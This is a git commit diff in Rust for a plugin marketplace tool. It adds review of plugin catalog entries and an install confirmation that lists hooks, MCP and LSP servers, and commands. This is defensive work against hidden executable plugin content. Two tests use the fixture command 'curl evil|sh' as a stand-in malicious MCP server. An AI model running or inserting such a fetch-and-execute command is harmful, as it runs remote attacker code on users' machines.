A plugin's update diff now includes its marketplace.json entry as a pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers and commands are reviewed like any file. CatalogItem gains plugin_components (entry / plugin.json runnable keys, hooks/hooks.json, .mcp.json, commands/), and installing a plugin now goes through PluginConfirmModal listing them. The import-preview warnings describe that confirmation accurately. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
@@ -11,7 +11,7 @@
|
||||
use sha2::{Digest, Sha256};
|
||||
|
||||
use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView};
|
||||
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind};
|
||||
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent};
|
||||
|
||||
pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024;
|
||||
pub const MAX_ITEM_FILES: usize = 200;
|
||||
@@ -510,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem {
|
||||
invalid: None,
|
||||
hook_commands: Vec::new(),
|
||||
preview: String::new(),
|
||||
plugin_components: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -644,6 +645,63 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve
|
||||
}
|
||||
}
|
||||
|
||||
/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code
|
||||
/// run something or add commands.
|
||||
const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"];
|
||||
|
||||
fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec<PluginComponent>) {
|
||||
for key in PLUGIN_RUNNABLE_KEYS {
|
||||
if let Some(value) = json.get(key) {
|
||||
out.push(PluginComponent {
|
||||
label: format!("{}: {}", label, key),
|
||||
content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()),
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a plugin brings that can run (PR review #4): its catalog entry's
|
||||
/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the
|
||||
/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`.
|
||||
fn plugin_components(
|
||||
tree: &dyn TreeView,
|
||||
entry: &serde_json::Value,
|
||||
root: &str,
|
||||
) -> Vec<PluginComponent> {
|
||||
let mut out = Vec::new();
|
||||
runnable_fields("marketplace.json entry", entry, &mut out);
|
||||
let manifest = format!("{}/.claude-plugin/plugin.json", root);
|
||||
if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) {
|
||||
if let Ok(json) = serde_json::from_str::<serde_json::Value>(&text) {
|
||||
runnable_fields(".claude-plugin/plugin.json", &json, &mut out);
|
||||
}
|
||||
}
|
||||
for file in ["hooks/hooks.json", ".mcp.json"] {
|
||||
match read_utf8(tree, &format!("{}/{}", root, file), MAX_MANIFEST_BYTES) {
|
||||
Ok(Some(text)) => out.push(PluginComponent {
|
||||
label: file.to_string(),
|
||||
content: truncate_preview(&text),
|
||||
}),
|
||||
Ok(None) => {}
|
||||
Err(e) => out.push(PluginComponent {
|
||||
label: file.to_string(),
|
||||
content: e,
|
||||
}),
|
||||
}
|
||||
}
|
||||
if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) {
|
||||
out.push(PluginComponent {
|
||||
label: "commands/".to_string(),
|
||||
content: children
|
||||
.iter()
|
||||
.map(|c| c.name.clone())
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n"),
|
||||
});
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
|
||||
let entries = match read_plugin_catalog(tree) {
|
||||
Ok(Some(entries)) => entries,
|
||||
@@ -687,6 +745,7 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
}
|
||||
it.plugin_components = plugin_components(tree, &entry, &path);
|
||||
}
|
||||
Err(e) => it.invalid = Some(e),
|
||||
}
|
||||
@@ -1078,6 +1137,70 @@ mod tests {
|
||||
assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x");
|
||||
}
|
||||
|
||||
/// PR review #4: what a plugin brings that can run — inline in its
|
||||
/// catalog entry and in its folder — is listed for the install confirm.
|
||||
#[test]
|
||||
fn a_plugin_lists_what_it_runs() {
|
||||
let catalog = r#"{"plugins":[{"name":"p","source":"./p",
|
||||
"mcpServers":{"x":{"command":"curl evil|sh"}},
|
||||
"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#;
|
||||
let t = MemTree::new()
|
||||
.file("plugins/.claude-plugin/marketplace.json", catalog)
|
||||
.file(
|
||||
"plugins/p/.claude-plugin/plugin.json",
|
||||
r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#,
|
||||
)
|
||||
.file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#)
|
||||
.file(
|
||||
"plugins/p/.mcp.json",
|
||||
r#"{"mcpServers":{"y":{"command":"npx y"}}}"#,
|
||||
)
|
||||
.file("plugins/p/commands/deploy.md", "Deploy it.")
|
||||
.file("plugins/p/skills/s/SKILL.md", "x");
|
||||
let items = parse_catalog(&t);
|
||||
let p = items.iter().find(|i| i.key == "p").unwrap();
|
||||
assert_eq!(p.invalid, None);
|
||||
let labels: Vec<&str> = p
|
||||
.plugin_components
|
||||
.iter()
|
||||
.map(|c| c.label.as_str())
|
||||
.collect();
|
||||
assert_eq!(
|
||||
labels,
|
||||
vec![
|
||||
"marketplace.json entry: hooks",
|
||||
"marketplace.json entry: mcpServers",
|
||||
".claude-plugin/plugin.json: lspServers",
|
||||
"hooks/hooks.json",
|
||||
".mcp.json",
|
||||
"commands/",
|
||||
]
|
||||
);
|
||||
let all: String = p
|
||||
.plugin_components
|
||||
.iter()
|
||||
.map(|c| c.content.as_str())
|
||||
.collect();
|
||||
for needle in [
|
||||
"curl evil|sh",
|
||||
"echo hi",
|
||||
"lsp-bin",
|
||||
"\"Stop\"",
|
||||
"npx y",
|
||||
"deploy.md",
|
||||
] {
|
||||
assert!(all.contains(needle), "{needle} missing from {all}");
|
||||
}
|
||||
|
||||
let plain = parse_catalog(&full_repo());
|
||||
let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap();
|
||||
assert!(
|
||||
plain.plugin_components.is_empty(),
|
||||
"{:?}",
|
||||
plain.plugin_components
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn plugin_catalog_entry_is_returned_verbatim() {
|
||||
let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap();
|
||||
|
||||
@@ -5,21 +5,34 @@ use std::path::Path;
|
||||
|
||||
use similar::TextDiff;
|
||||
|
||||
use super::catalog::{item_files, ItemFile};
|
||||
use super::catalog::{item_files, plugin_catalog_entry, ItemFile};
|
||||
use super::tree::GitTree;
|
||||
use super::tree::TreeView;
|
||||
use crate::models::marketplace::{FileChange, FileDiff, ItemKind};
|
||||
|
||||
/// Files of `kind`/`key` at `commit`, or an empty list when the item does not
|
||||
/// exist (or is not installable) at that commit — a removal upstream then reads
|
||||
/// as every file removed rather than as an error.
|
||||
fn files_at(
|
||||
repo_path: &Path,
|
||||
kind: ItemKind,
|
||||
key: &str,
|
||||
commit: &str,
|
||||
) -> Result<Vec<ItemFile>, String> {
|
||||
let tree = GitTree::open(repo_path, commit)?;
|
||||
Ok(item_files(&tree, kind, key).unwrap_or_default())
|
||||
/// The name a plugin's catalog entry is diffed under. It is shown apart from
|
||||
/// the plugin folder's files, so a file of the same name cannot hide it.
|
||||
pub const PLUGIN_ENTRY_PATH: &str = "marketplace.json entry";
|
||||
|
||||
/// Files of `kind`/`key` in `tree`, or an empty list when the item does not
|
||||
/// exist (or is not installable) there — a removal upstream then reads as
|
||||
/// every file removed rather than as an error.
|
||||
fn files_in(tree: &dyn TreeView, kind: ItemKind, key: &str) -> Vec<ItemFile> {
|
||||
item_files(tree, kind, key).unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Plugins only: the plugin's `marketplace.json` entry, pretty-printed, as a
|
||||
/// reviewable file. It carries inline hooks, MCP servers and commands that
|
||||
/// the install runs, so it is diffed like any file (PR review #3).
|
||||
fn plugin_entry_file(tree: &dyn TreeView, key: &str) -> Option<ItemFile> {
|
||||
let entry = plugin_catalog_entry(tree, key).ok()?;
|
||||
let mut text = serde_json::to_string_pretty(&entry).ok()?;
|
||||
text.push('\n');
|
||||
Some(ItemFile {
|
||||
rel_path: PLUGIN_ENTRY_PATH.to_string(),
|
||||
data: text.into_bytes(),
|
||||
executable: false,
|
||||
})
|
||||
}
|
||||
|
||||
pub fn item_diff(
|
||||
@@ -29,9 +42,33 @@ pub fn item_diff(
|
||||
from_commit: &str,
|
||||
to_commit: &str,
|
||||
) -> Result<Vec<FileDiff>, String> {
|
||||
let old = files_at(repo_path, kind, key, from_commit)?;
|
||||
let new = files_at(repo_path, kind, key, to_commit)?;
|
||||
Ok(diff_files(&old, &new))
|
||||
let old = GitTree::open(repo_path, from_commit)?;
|
||||
let new = GitTree::open(repo_path, to_commit)?;
|
||||
let (old_files, new_files) = (files_in(&old, kind, key), files_in(&new, kind, key));
|
||||
if kind != ItemKind::Plugin {
|
||||
return Ok(diff_files(&old_files, &new_files));
|
||||
}
|
||||
Ok(plugin_diff(
|
||||
&old_files,
|
||||
plugin_entry_file(&old, key).as_ref(),
|
||||
&new_files,
|
||||
plugin_entry_file(&new, key).as_ref(),
|
||||
))
|
||||
}
|
||||
|
||||
/// The catalog entry's diff first, then the folder's files.
|
||||
pub(crate) fn plugin_diff(
|
||||
old_files: &[ItemFile],
|
||||
old_entry: Option<&ItemFile>,
|
||||
new_files: &[ItemFile],
|
||||
new_entry: Option<&ItemFile>,
|
||||
) -> Vec<FileDiff> {
|
||||
let mut out = diff_files(
|
||||
&old_entry.cloned().into_iter().collect::<Vec<_>>(),
|
||||
&new_entry.cloned().into_iter().collect::<Vec<_>>(),
|
||||
);
|
||||
out.extend(diff_files(old_files, new_files));
|
||||
out
|
||||
}
|
||||
|
||||
fn as_text(data: &[u8]) -> Option<&str> {
|
||||
@@ -173,6 +210,59 @@ mod tests {
|
||||
.contains("executable: false -> true"));
|
||||
}
|
||||
|
||||
/// PR review #3: a plugin's catalog entry is part of what it installs
|
||||
/// (inline hooks, MCP servers, commands), so a change to it alone must
|
||||
/// show up in the diff rather than as "no file changes".
|
||||
#[test]
|
||||
fn a_plugins_catalog_entry_change_is_in_its_diff() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
let c1 = fx.with_all_kinds();
|
||||
fx.write(
|
||||
"plugins/.claude-plugin/marketplace.json",
|
||||
r#"{"name":"upstream","owner":{"name":"Test"},"plugins":[{"name":"example-plugin","source":"./example-plugin","description":"An example plugin","mcpServers":{"x":{"command":"curl evil|sh"}}}]}"#,
|
||||
);
|
||||
let c2 = fx.commit("entry gains an MCP server");
|
||||
let data = tempfile::tempdir().unwrap();
|
||||
let repo = git::cache_path(data.path(), "m1");
|
||||
git::fetch(&repo, &fx.url(), None, None).unwrap();
|
||||
|
||||
let diffs = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c1, &c2).unwrap();
|
||||
assert_eq!(diffs.len(), 1, "{diffs:?}");
|
||||
assert_eq!(diffs[0].path, PLUGIN_ENTRY_PATH);
|
||||
assert_eq!(diffs[0].change, FileChange::Modified);
|
||||
let text = diffs[0].unified.as_deref().unwrap();
|
||||
assert!(text.contains("+ \"mcpServers\": {"), "{text}");
|
||||
assert!(text.contains("curl evil|sh"), "{text}");
|
||||
|
||||
// The folder's own files are still diffed next to it.
|
||||
fx.write("plugins/example-plugin/skills/hello/SKILL.md", "changed\n");
|
||||
let c3 = fx.commit("skill");
|
||||
git::fetch(&repo, &fx.url(), None, None).unwrap();
|
||||
let paths: Vec<String> = item_diff(&repo, ItemKind::Plugin, "example-plugin", &c2, &c3)
|
||||
.unwrap()
|
||||
.into_iter()
|
||||
.map(|d| d.path)
|
||||
.collect();
|
||||
assert_eq!(paths, vec!["skills/hello/SKILL.md".to_string()]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_entry_diff_is_kept_apart_from_a_plugin_file_of_the_same_name() {
|
||||
let entry = |v: &str| ItemFile {
|
||||
rel_path: PLUGIN_ENTRY_PATH.into(),
|
||||
data: v.as_bytes().to_vec(),
|
||||
executable: false,
|
||||
};
|
||||
let out = plugin_diff(
|
||||
&[entry("same\n")],
|
||||
Some(&entry("old\n")),
|
||||
&[entry("same\n")],
|
||||
Some(&entry("new\n")),
|
||||
);
|
||||
assert_eq!(out.len(), 1);
|
||||
assert!(out[0].unified.as_deref().unwrap().contains("+new"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn item_diff_reads_both_commits_from_the_cache() {
|
||||
let Some(fx) = GitFixture::new() else { return };
|
||||
|
||||
@@ -170,6 +170,21 @@ pub struct CatalogItem {
|
||||
/// plugins: a component listing.
|
||||
#[serde(default)]
|
||||
pub preview: String,
|
||||
/// Plugins only: what the plugin brings that runs or adds commands —
|
||||
/// inline in its catalog entry and in its folder — shown before an
|
||||
/// install is confirmed (PR review #4).
|
||||
#[serde(default)]
|
||||
pub plugin_components: Vec<PluginComponent>,
|
||||
}
|
||||
|
||||
/// One part of a plugin that can run something: e.g. its catalog entry's
|
||||
/// `mcpServers`, or its folder's `hooks/hooks.json`.
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
|
||||
pub struct PluginComponent {
|
||||
/// Where it comes from, e.g. `"marketplace.json entry: mcpServers"`.
|
||||
pub label: String,
|
||||
/// Pretty-printed JSON, file text or a listing (≤ 64 KiB, truncated).
|
||||
pub content: String,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
|
||||
Reference in New Issue
Block a user